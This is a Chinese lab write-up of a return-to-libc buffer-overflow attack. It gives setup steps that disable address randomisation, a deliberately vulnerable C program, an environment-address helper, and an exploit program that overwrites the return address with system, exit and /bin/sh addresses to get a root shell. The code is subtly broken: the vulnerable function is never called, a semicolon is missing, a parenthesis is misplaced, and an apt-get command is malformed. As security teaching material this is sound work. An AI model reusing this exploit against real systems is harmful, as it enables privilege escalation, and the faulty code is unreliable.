Return-to-libc攻击实验
一 实验内容
- return-to-libc实验是一个基于缓冲区溢出攻击实验的基础上的一种攻击实验
- 缓冲区溢出攻击相关知识:
- 原理:通过一段包含shellcode以及shellcode地址的长字符串注入到程序中,以shellcode地址来覆盖程序原有的返回地址,从而让目标程序来执行我们的shellcode,以此达到攻击目的
- 保护措施:为了防止缓冲区溢出攻击,现在常用的保护措施有两种,一是设置堆栈不可执行,漏洞程序在执行注入到堆栈中的shellcode时就会发生程序崩溃。二是代码生成地址随机化,以此来使得攻击者无法准确得知shellcode的地址
- return-to-libc攻击原理:
- 为了避开堆栈不可执行的问题,return-to-libc攻击放弃了让漏洞程序执行堆栈中的shellcode,而是跳转到已经存在的代码(例如libc库中的system函数)来完成攻击
二 实验步骤
-
安装32位c语言程序编译器,准备32位实验环境(本次实验在实验楼环境下完成)
-
sudo apt-get lib32z1 libc6-dev-i386 sudo apt-get install lib32readline-gplv2-dev
-
在实际中为了防范缓冲区溢出等攻击,通常会降低shell程序的权限,即无法保持root权限,为了绕过这个问题,我们使用另一个shell程序,zsh来代替
/bin/bash
-
上面说过,现在为了防止代码的注入,操作系统对于代码所分配的堆栈地址都是随机的,这也不利于我们找到之后我们需要找到的
/bin/sh``system函数``exit函数
的地址完成地址注入,所以我们要事先关闭掉地址随机化 -
-
准备工作都完成之后,我们用以下三个程序来完成我们的攻击
-
一段包含缓冲区溢出漏洞,由于生成
root shell
的漏洞代码retlib.c
-
/*retlib.c*/ #include <stdio.h> #include <stdlib.h> #include <string.h> int bof(FILE *badfile){ char buffer[12]; fread(buffer,sizeof(char),40,badfile); return 1 } int main(int argc, char **argv){ FILE *badfile; badfile=fopen("badfile","r"); printf("returned properly\n"); fclose(badfile); return 1; }
-
读取环境变量的程序
getenvaddr.c
/*getenvaddr.c*/ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc,char const *argv[]){ char *ptr; if(argc < 3){ printf("usage : %s <enviroment var> <target program name>\n",argv[0]); exit(0); } ptr=getenv(argv[1]); ptr+=(strlen(argv[0]-strlen(argv[2]))*2; printf("%s will be at %p\n",argv[1],ptr); return 0; }
-
攻击用程序
exploit.c
将我们获得的/bin/sh
,system函数
,exit函数
的地址写进新的badfile中/*exploit.c*/ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char **argv){ char buf[40]; FILE *badfile; badfile=fopen(".//badfile","w"); strcpy(buf, "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"); *(long *) &buf[32] = 0x11111111; /*用以保存//bin//sh 的相关地址*/ *(long *) &buf[24] = 0x22222222; /*用以保存system函数的相关地址*/ *(long *) &buf[36] = 0x33333333; /*用以保存exit函数的相关地址*/ fwrite(buf, sizeof(buf), 1, badfile); fclose(badfile); }
-
在完成编译后,我们首先通过读取环境变量的程序
getenvaddr.c
来获得BIN_SH
的地址export BIN_SH="/bin/sh" echo BIN_SH ./getenvaddr BIN_SH ./retlib
-
而一般程序中,都会跳转到系统已经存于内存中的函数
system
和exit
所以我们通过设置断点来跟踪获得相应的地址 -
-
在
strcpy函数
处设置断点,继续运行 -
-
将我们获得的三个地址填入代码
exploit.c
中,删除badfile,重新编译 -
再次运行代码
exploit
时就会生成新的badfile -
此时运行我们的漏洞程序
retlib
输入命令whoami
即可见攻击成功